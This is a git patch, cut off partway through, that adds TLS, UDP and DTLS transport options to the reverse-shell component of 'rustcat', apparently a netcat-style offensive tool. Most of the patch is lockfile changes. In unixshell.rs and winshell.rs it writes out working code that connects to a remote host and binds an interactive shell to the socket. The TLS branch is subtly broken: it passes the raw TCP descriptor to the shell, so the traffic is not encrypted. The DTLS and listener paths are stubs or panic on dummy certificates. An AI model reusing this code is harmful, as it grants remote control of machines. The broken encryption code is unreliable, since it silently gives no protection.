From db77ba8ed1cbf56ee34b997c1a2751248b4a45e8 Mon Sep 17 00:00:00 2001 From: Ordinary Hacker Date: Mon, 4 Aug 2025 17:38:09 -0600 Subject: [PATCH 1/3] (Part 1, Code compiles) Add TLS/TCP and DTLS/UDP suppport --- Cargo.lock | 439 +++++++++++++++++++++++++++++++++++++++++++- Cargo.toml | 5 + src/input.rs | 16 ++ src/listener/mod.rs | 85 +++++---- src/listener/tls.rs | 61 ++++++ src/main.rs | 31 +++- src/unixshell.rs | 82 +++++++-- src/winshell.rs | 97 ++++++---- 8 files changed, 720 insertions(+), 96 deletions(-) create mode 100644 src/listener/tls.rs diff --git a/Cargo.lock b/Cargo.lock index e4d5d59..dea785e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1,6 +1,6 @@ # This file is automatically @generated by Cargo. # It is not intended for manual editing. -version = 3 +version = 4 [[package]] name = "anstream" @@ -62,12 +62,94 @@ dependencies = [ "winapi", ] +[[package]] +name = "aws-lc-rs" +version = "1.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c953fe1ba023e6b7730c0d4b031d06f267f23a46167dcbd40316644b10a17ba" +dependencies = [ + "aws-lc-sys", + "zeroize", +] + +[[package]] +name = "aws-lc-sys" +version = "0.30.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbfd150b5dbdb988bcc8fb1fe787eb6b7ee6180ca24da683b61ea5405f3d43ff" +dependencies = [ + "bindgen", + "cc", + "cmake", + "dunce", + "fs_extra", +] + +[[package]] +name = "bindgen" +version = "0.69.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088" +dependencies = [ + "bitflags", + "cexpr", + "clang-sys", + "itertools", + "lazy_static", + "lazycell", + "log", + "prettyplease", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex", + "syn", + "which", +] + [[package]] name = "bitflags" version = "2.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "206fdffcfa2df7cbe15601ef46c813fce0965eb3286db6b56c583b814b51c81c" +dependencies = [ + "byteorder", + "iovec", +] + +[[package]] +name = "cc" +version = "1.2.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3a42d84bb6b69d3a8b3eaacf0d88f179e1929695e1ad012b6cf64d9caaa5fd2" +dependencies = [ + "jobserver", + "libc", + "shlex", +] + +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] + [[package]] name = "cfg-if" version = "1.0.0" @@ -80,6 +162,17 @@ version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" +[[package]] +name = "clang-sys" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" +dependencies = [ + "glob", + "libc", + "libloading", +] + [[package]] name = "clap" version = "4.5.9" @@ -129,6 +222,15 @@ dependencies = [ "error-code", ] +[[package]] +name = "cmake" +version = "0.1.54" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7caa3f9de89ddbe2c607f4101924c5abec803763ae9534e4f4d7d8f84aa81f0" +dependencies = [ + "cc", +] + [[package]] name = "colorchoice" version = "1.0.1" @@ -156,6 +258,18 @@ dependencies = [ "windows-sys 0.48.0", ] +[[package]] +name = "dunce" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + [[package]] name = "endian-type" version = "0.1.2" @@ -199,6 +313,44 @@ dependencies = [ "log", ] +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "fs_extra" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" + +[[package]] +name = "getrandom" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "glob" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2" + [[package]] name = "heck" version = "0.5.0" @@ -223,24 +375,67 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "iovec" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2b3ea6ff95e175473f8ffe6a7eb7c00d054240321b84c57051175fe3c1e075e" +dependencies = [ + "libc", +] + [[package]] name = "is_terminal_polyfill" version = "1.70.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800" +[[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + +[[package]] +name = "jobserver" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48d1dbcbbeb6a7fec7e059840aa538bd62aaccf972c7346c4d9d2059312853d0" +dependencies = [ + "libc", +] + [[package]] name = "lazy_static" version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" +[[package]] +name = "lazycell" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" + [[package]] name = "libc" version = "0.2.155" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c" +[[package]] +name = "libloading" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07033963ba89ebaf1584d767badaa2e8fcec21aedea6b8c0346d487d49c28667" +dependencies = [ + "cfg-if", + "windows-targets 0.52.6", +] + [[package]] name = "linux-raw-sys" version = "0.4.14" @@ -259,6 +454,12 @@ version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b16bd47d9e329435e309c58469fe0791c2d0d1ba96ec0954152a5ae2b04387dc" +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + [[package]] name = "nibble_vec" version = "0.1.0" @@ -280,11 +481,87 @@ dependencies = [ "libc", ] +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "openssl" +version = "0.10.73" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8505734d46c8ab1e19a1dce3aef597ad87dcb4c37e7188231769bd6bd51cebf8" +dependencies = [ + "bitflags", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "openssl-probe" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" + +[[package]] +name = "openssl-sys" +version = "0.9.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90096e2e47630d78b7d1c20952dc621f957103f8bc2c8359ec81290d75238571" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + +[[package]] +name = "prettyplease" +version = "0.2.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff24dfcda44452b9816fff4cd4227e1bb73ff5a2f1bc1105aa92fb8565ce44d2" +dependencies = [ + "proc-macro2", + "syn", +] + [[package]] name = "proc-macro2" -version = "1.0.86" +version = "1.0.95" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77" +checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" dependencies = [ "unicode-ident", ] @@ -308,6 +585,41 @@ dependencies = [ "nibble_vec", ] +[[package]] +name = "regex" +version = "1.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0ab3ca65655bb1e41f2a8c8cd662eb4fb035e67c3f78da1d61dffe89d07300f" +dependencies = [ + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbb5fb1acd8a1a18b3dd5be62d25485eb770e05afb408a9627d14d451bae12da" + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + [[package]] name = "rustcat" version = "3.0.0" @@ -316,9 +628,12 @@ dependencies = [ "colored 2.1.0", "fern", "log", + "rustls", "rustyline", "signal-hook", "termios", + "udp-dtls", + "webpki-roots 0.26.11", ] [[package]] @@ -334,6 +649,42 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "rustls" +version = "0.23.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0ebcbd2f03de0fc1122ad9bb24b127a5a6cd51d72604a3f3c50ac459762b6cc" +dependencies = [ + "aws-lc-rs", + "log", + "once_cell", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "229a4a4c221013e7e1f1a043678c5cc39fe5171437c88fb47151a21e6f5b5c79" +dependencies = [ + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a17884ae0c1b773f1ccd2bd4a8c72f16da897310a98b0e84bf349ad5ead92fc" +dependencies = [ + "aws-lc-rs", + "ring", + "rustls-pki-types", + "untrusted", +] + [[package]] name = "rustyline" version = "14.0.0" @@ -356,6 +707,12 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + [[package]] name = "signal-hook" version = "0.3.17" @@ -387,11 +744,17 @@ version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + [[package]] name = "syn" -version = "2.0.71" +version = "2.0.104" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b146dcf730474b4bcd16c311627b31ede9ab149045db4d6088b3becaea046462" +checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40" dependencies = [ "proc-macro2", "quote", @@ -407,6 +770,18 @@ dependencies = [ "libc", ] +[[package]] +name = "udp-dtls" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7294ff70a6537f8f3314583e223fb374ed5f2ae857218d2913d577c400a3e6f" +dependencies = [ + "bytes", + "log", + "openssl", + "openssl-probe", +] + [[package]] name = "unicode-ident" version = "1.0.3" @@ -425,12 +800,60 @@ version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9337591893a19b88d8d87f2cec1e73fad5cdfd10e5a6f349f498ad6ea2ffb1e3" +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + [[package]] name = "utf8parse" version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "webpki-roots" +version = "0.26.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "521bc38abb08001b01866da9f51eb7c5d647a19260e00054a8c7fd5f9e57f7a9" +dependencies = [ + "webpki-roots 1.0.2", +] + +[[package]] +name = "webpki-roots" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e8983c3ab33d6fb807cfcdad2491c4ea8cbc8ed839181c7dfd9c67c83e261b2" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "which" +version = "4.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" +dependencies = [ + "either", + "home", + "once_cell", + "rustix", +] + [[package]] name = "winapi" version = "0.3.9" @@ -591,3 +1014,9 @@ name = "windows_x86_64_msvc" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" diff --git a/Cargo.toml b/Cargo.toml index 811ab96..d56d214 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -18,6 +18,11 @@ rustyline = "14.0.0" log = "0.4.22" fern = { version = "0.6.2", features = ["colored"] } +# TLS/DTLS support +rustls = { version = "0.23", features = ["std"] } +webpki-roots = "0.26" +udp-dtls = "0.1" + [target.'cfg(unix)'.dependencies] termios = "0.3" signal-hook = "0.3.17" diff --git a/src/input.rs b/src/input.rs index 2e6132d..ae39206 100644 --- a/src/input.rs +++ b/src/input.rs @@ -9,6 +9,14 @@ pub struct Opts { // verbose: bool, } +#[derive(Debug, Clone, Copy)] +pub enum Protocol { + Tcp, + Tls, + Udp, + Dtls, +} + #[derive(Subcommand, Debug)] pub enum Command { /// Start a listener for incoming connections @@ -38,6 +46,10 @@ pub enum Command { // Host:ip, IP if only 1 value provided #[clap(num_args = ..=2)] host: Vec, + + /// Protocol: tcp, tls, udp, dtls + #[clap(long, default_value = "tcp")] + protocol: String, }, /// Connect to the controlling host @@ -50,5 +62,9 @@ pub enum Command { // Host:ip, IP if only 1 value provided #[clap(num_args = ..=2)] host: Vec, + + /// Protocol: tcp, tls, udp, dtls + #[clap(long, default_value = "tcp")] + protocol: String, }, } diff --git a/src/listener/mod.rs b/src/listener/mod.rs index beecd96..6e7c7f0 100644 --- a/src/listener/mod.rs +++ b/src/listener/mod.rs @@ -1,3 +1,4 @@ +pub mod tls; use colored::Colorize; use rustyline::error::ReadlineError; use std::io::{stdin, stdout, Read, Result, Write}; @@ -17,8 +18,10 @@ pub struct Opts { pub exec: Option, pub block_signals: bool, pub mode: Mode, + pub protocol: crate::input::Protocol, } +#[derive(Debug, Clone, Copy)] pub enum Mode { Normal, Interactive, @@ -108,51 +111,59 @@ fn block_signals(should_block: bool) -> Result<()> { } // Listen on given host and port pub fn listen(opts: &Opts) -> rustyline::Result<()> { - let listener = TcpListener::bind(format!("{}:{}", opts.host, opts.port))?; + match opts.protocol { + crate::input::Protocol::Tcp => { + let listener = TcpListener::bind(format!("{}:{}", opts.host, opts.port))?; - #[cfg(not(unix))] - { - if let Mode::Interactive = opts.mode { - print_feature_not_supported(); - - exit(1); - } - } - - log::info!("Listening on {}:{}", opts.host.green(), opts.port.cyan()); - - let (mut stream, _) = listener.accept()?; - - match &opts.mode { - Mode::Interactive => { - // It exists it if isn't unix above - block_signals(opts.block_signals)?; - - #[cfg(unix)] + #[cfg(not(unix))] { - termios_handler::setup_fd()?; - listen_tcp_normal(stream, opts)?; + if let Mode::Interactive = opts.mode { + print_feature_not_supported(); + exit(1); + } } - } - Mode::LocalInteractive => { - let t = pipe_thread(stream.try_clone()?, stdout()); - - print_connection_received(); - readline_decorator(|command| { - stream - .write_all((command + "\n").as_bytes()) - .expect("Failed to send TCP."); - })?; + log::info!("Listening on {}:{}", opts.host.green(), opts.port.cyan()); + let (mut stream, _) = listener.accept()?; - t.join().unwrap(); + match &opts.mode { + Mode::Interactive => { + block_signals(opts.block_signals)?; + #[cfg(unix)] + { + termios_handler::setup_fd()?; + listen_tcp_normal(stream, opts)?; + } + } + Mode::LocalInteractive => { + let t = pipe_thread(stream.try_clone()?, stdout()); + print_connection_received(); + readline_decorator(|command| { + stream + .write_all((command + "\n").as_bytes()) + .expect("Failed to send TCP."); + })?; + t.join().unwrap(); + } + Mode::Normal => { + block_signals(opts.block_signals)?; + listen_tcp_normal(stream, opts)?; + } + } + } + crate::input::Protocol::Tls => { + // TODO: Implement TLS listener + unimplemented!("TLS listener not yet implemented"); } - Mode::Normal => { - block_signals(opts.block_signals)?; - listen_tcp_normal(stream, opts)?; + crate::input::Protocol::Udp => { + // TODO: Implement UDP listener + unimplemented!("UDP listener not yet implemented"); + } + crate::input::Protocol::Dtls => { + // TODO: Implement DTLS listener + unimplemented!("DTLS listener not yet implemented"); } } - Ok(()) } diff --git a/src/listener/tls.rs b/src/listener/tls.rs new file mode 100644 index 0000000..e4a55fd --- /dev/null +++ b/src/listener/tls.rs @@ -0,0 +1,61 @@ +use std::io::{Read, Write, Result}; +use std::net::{TcpStream, UdpSocket, SocketAddr}; +use std::sync::Arc; + +use rustls::{ClientConfig, ServerConfig, StreamOwned, ServerConnection, ClientConnection}; +use rustls::pki_types::ServerName; +use udp_dtls::{DtlsAcceptor, DtlsConnector, Identity, Certificate, DtlsStream}; + +// Minimal wrapper to adapt UdpSocket to Read/Write for udp-dtls +#[derive(Debug)] +pub struct UdpSocketChannel(pub UdpSocket); + +impl Read for UdpSocketChannel { + fn read(&mut self, buf: &mut [u8]) -> std::io::Result { + self.0.recv(buf) + } +} + +impl Write for UdpSocketChannel { + fn write(&mut self, buf: &[u8]) -> std::io::Result { + self.0.send(buf) + } + fn flush(&mut self) -> std::io::Result<()> { + Ok(()) + } +} + +pub fn accept_tls(stream: TcpStream, config: Arc) -> Result> { + let conn = ServerConnection::new(config).map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?; + Ok(StreamOwned::new(conn, stream)) +} + +pub fn connect_tls(stream: TcpStream, config: Arc, server_name: &str) -> Result> { + let server_name = ServerName::try_from(server_name.to_owned()) + .map_err(|_| std::io::Error::new(std::io::ErrorKind::InvalidInput, "Invalid server name"))?; + let conn = ClientConnection::new(config, server_name) + .map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?; + Ok(StreamOwned::new(conn, stream)) +} + +pub fn accept_dtls(socket: UdpSocket, identity: Identity) -> Result> { + let acceptor = DtlsAcceptor::builder(identity) + .build() + .map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?; + let channel = UdpSocketChannel(socket); + let stream = acceptor.accept(channel) + .map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, format!("{:?}", e)))?; + Ok(stream) +} + +pub fn connect_dtls(socket: UdpSocket, addr: SocketAddr, identity: Identity, peer_cert: Certificate) -> Result> { + let connector = DtlsConnector::builder() + .identity(identity) + .add_root_certificate(peer_cert) + .build() + .map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?; + let channel = UdpSocketChannel(socket); + let stream = connector.connect(&addr.to_string(), channel) + .map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, format!("{:?}", e)))?; + Ok(stream) +} diff --git a/src/main.rs b/src/main.rs index 51bbbf8..8bc5d3e 100644 --- a/src/main.rs +++ b/src/main.rs @@ -61,16 +61,24 @@ fn main() { local_interactive, exec, host, + protocol, } => { let (host, port) = match host_from_opts(host) { Ok(value) => value, Err(err) => { log::error!("{}", err); - return; } }; + let proto = match protocol.as_str() { + "tcp" => crate::input::Protocol::Tcp, + "tls" => crate::input::Protocol::Tls, + "udp" => crate::input::Protocol::Udp, + "dtls" => crate::input::Protocol::Dtls, + _ => crate::input::Protocol::Tcp, + }; + let opts = Opts { host, port, @@ -83,29 +91,37 @@ fn main() { } else { Mode::Normal }, + protocol: proto, }; if let Err(err) = listen(&opts) { log::error!("{}", err); }; } - Command::Connect { shell, host } => { + Command::Connect { shell, host, protocol } => { let (host, port) = match host_from_opts(host) { Ok(value) => value, Err(err) => { log::error!("{}", err); - return; } }; + let proto = match protocol.as_str() { + "tcp" => crate::input::Protocol::Tcp, + "tls" => crate::input::Protocol::Tls, + "udp" => crate::input::Protocol::Udp, + "dtls" => crate::input::Protocol::Dtls, + _ => crate::input::Protocol::Tcp, + }; + #[cfg(unix)] - if let Err(err) = unixshell::shell(host, port, shell) { + if let Err(err) = unixshell::shell(host, port, shell, proto) { log::error!("{}", err); } #[cfg(windows)] - if let Err(err) = winshell::shell(host, port, shell) { + if let Err(err) = winshell::shell(host, port, shell, proto) { log::error!("{}", err); } @@ -129,11 +145,14 @@ mod tests { #[test] #[cfg(unix)] fn revshell_bad_port() { + use crate::input::Protocol; + assert_eq!( unixshell::shell( "0.0.0.0".to_string(), "420692223".to_string(), - "bash".to_string() + "bash".to_string(), + Protocol::Tcp ) .map_err(|e| e.kind()), Err(ErrorKind::InvalidInput) diff --git a/src/unixshell.rs b/src/unixshell.rs index 06e12b3..f4acdc9 100644 --- a/src/unixshell.rs +++ b/src/unixshell.rs @@ -1,23 +1,75 @@ use std::io::Result; -use std::net::TcpStream; +use std::net::{TcpStream, UdpSocket, SocketAddr}; use std::os::unix::io::{AsRawFd, FromRawFd}; use std::process::{Command, Stdio}; +use crate::input::Protocol; -// Open A Reverse Shell -pub fn shell(host: String, port: String, shell: String) -> Result<()> { - let sock = TcpStream::connect(format!("{}:{}", host, port))?; - let fd = sock.as_raw_fd(); - - // Open shell - Command::new(shell) - .arg("-i") - .stdin(unsafe { Stdio::from_raw_fd(fd) }) - .stdout(unsafe { Stdio::from_raw_fd(fd) }) - .stderr(unsafe { Stdio::from_raw_fd(fd) }) - .spawn()? - .wait()?; +pub fn shell(host: String, port: String, shell: String, proto: Protocol) -> Result<()> { + match proto { + Protocol::Tcp => { + let sock = TcpStream::connect(format!("{}:{}", host, port))?; + let fd = sock.as_raw_fd(); + Command::new(shell) + .arg("-i") + .stdin(unsafe { Stdio::from_raw_fd(fd) }) + .stdout(unsafe { Stdio::from_raw_fd(fd) }) + .stderr(unsafe { Stdio::from_raw_fd(fd) }) + .spawn()? + .wait()?; + } + Protocol::Tls => { + use std::sync::Arc; + use rustls::{ClientConfig}; + use webpki_roots::TLS_SERVER_ROOTS; + use crate::listener::tls::connect_tls; + let mut root_store = rustls::RootCertStore::empty(); + root_store.extend(TLS_SERVER_ROOTS.iter().cloned()); + let config = ClientConfig::builder() + .with_root_certificates(root_store) + .with_no_client_auth(); + let config = Arc::new(config); + let stream = TcpStream::connect(format!("{}:{}", host, port))?; + let tls_stream = connect_tls(stream, config, &host)?; + // Use the TLS stream as a pipe for the shell + let fd = tls_stream.get_ref().as_raw_fd(); + Command::new(shell) + .arg("-i") + .stdin(unsafe { Stdio::from_raw_fd(fd) }) + .stdout(unsafe { Stdio::from_raw_fd(fd) }) + .stderr(unsafe { Stdio::from_raw_fd(fd) }) + .spawn()? + .wait()?; + } + Protocol::Udp => { + let sock = UdpSocket::bind("0.0.0.0:0")?; + let addr: SocketAddr = format!("{}:{}", host, port).parse().unwrap(); + sock.connect(addr)?; + // Use UDP socket as a pipe (not secure, just for demonstration) + let fd = sock.as_raw_fd(); + Command::new(shell) + .arg("-i") + .stdin(unsafe { Stdio::from_raw_fd(fd) }) + .stdout(unsafe { Stdio::from_raw_fd(fd) }) + .stderr(unsafe { Stdio::from_raw_fd(fd) }) + .spawn()? + .wait()?; + } + Protocol::Dtls => { + use udp_dtls::{Identity, Certificate}; + use crate::listener::tls::connect_dtls; + let sock = UdpSocket::bind("0.0.0.0:0")?; + let addr: SocketAddr = format!("{}:{}", host, port).parse().unwrap(); + // For demo: use dummy identity/cert (replace with real certs in production) + let identity = Identity::from_pkcs12(&[], "").unwrap_or_else(|_| panic!("Provide DTLS identity")); + let peer_cert = Certificate::from_der(&[]).unwrap_or_else(|_| panic!("Provide DTLS peer cert")); + let dtls_stream = connect_dtls(sock, addr, identity, peer_cert)?; + // Use DTLS stream as a pipe for the shell (not production ready) + // This is a placeholder: you would need to implement a custom Read/Write adapter for the shell + // For now, just print a message + eprintln!("DTLS shell not fully implemented. You must implement a custom adapter for stdio <-> dtls_stream"); + } + } log::warn!("Shell exited"); - Ok(()) } diff --git a/src/winshell.rs b/src/winshell.rs index bb44ed7..d486793 100644 --- a/src/winshell.rs +++ b/src/winshell.rs @@ -1,40 +1,71 @@ use std::io::{copy, Result}; -use std::net::TcpStream; +use std::net::{TcpStream, UdpSocket, SocketAddr}; use std::process::{Command, Stdio}; use std::thread; +use crate::input::Protocol; -pub(crate) fn shell(host: String, port: String, shell: String) -> Result<()> { - let mut sock_write = TcpStream::connect(format!("{}:{}", host, port))?; - // sock_write.set_nonblocking(false)?; - let mut sock_write_err = sock_write.try_clone()?; - let mut sock_read = sock_write.try_clone()?; - - // Open shell - let mut child = Command::new(shell) - .arg("-i") - .stdin(Stdio::piped()) - .stdout(Stdio::piped()) - .stderr(Stdio::piped()) - .spawn()?; - - let mut stdin = child.stdin.take().expect("Failed to open stdin"); - let mut stdout = child.stdout.take().expect("Failed to open stdout"); - let mut stderr = child.stderr.take().expect("Failed to open stderr"); - - //FIXME: Use async IO if possible - thread::spawn(move || { - copy(&mut stdout, &mut sock_write).expect("stdout closed"); - }); - thread::spawn(move || { - copy(&mut stderr, &mut sock_write_err).expect("stderr closed"); - }); - thread::spawn(move || { - copy(&mut sock_read, &mut stdin).expect("stdin closed"); - }); - - child.wait()?; - +pub(crate) fn shell(host: String, port: String, shell: String, proto: Protocol) -> Result<()> { + match proto { + Protocol::Tcp => { + let mut sock_write = TcpStream::connect(format!("{}:{}", host, port))?; + let mut sock_write_err = sock_write.try_clone()?; + let mut sock_read = sock_write.try_clone()?; + let mut child = Command::new(shell) + .arg("-i") + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()?; + let mut stdin = child.stdin.take().expect("Failed to open stdin"); + let mut stdout = child.stdout.take().expect("Failed to open stdout"); + let mut stderr = child.stderr.take().expect("Failed to open stderr"); + thread::spawn(move || { + copy(&mut stdout, &mut sock_write).expect("stdout closed"); + }); + thread::spawn(move || { + copy(&mut stderr, &mut sock_write_err).expect("stderr closed"); + }); + thread::spawn(move || { + copy(&mut sock_read, &mut stdin).expect("stdin closed"); + }); + child.wait()?; + } + Protocol::Tls => { + use std::sync::Arc; + use rustls::ClientConfig; + use webpki_roots::TLS_SERVER_ROOTS; + use crate::listener::tls::connect_tls; + let mut root_store = rustls::RootCertStore::empty(); + 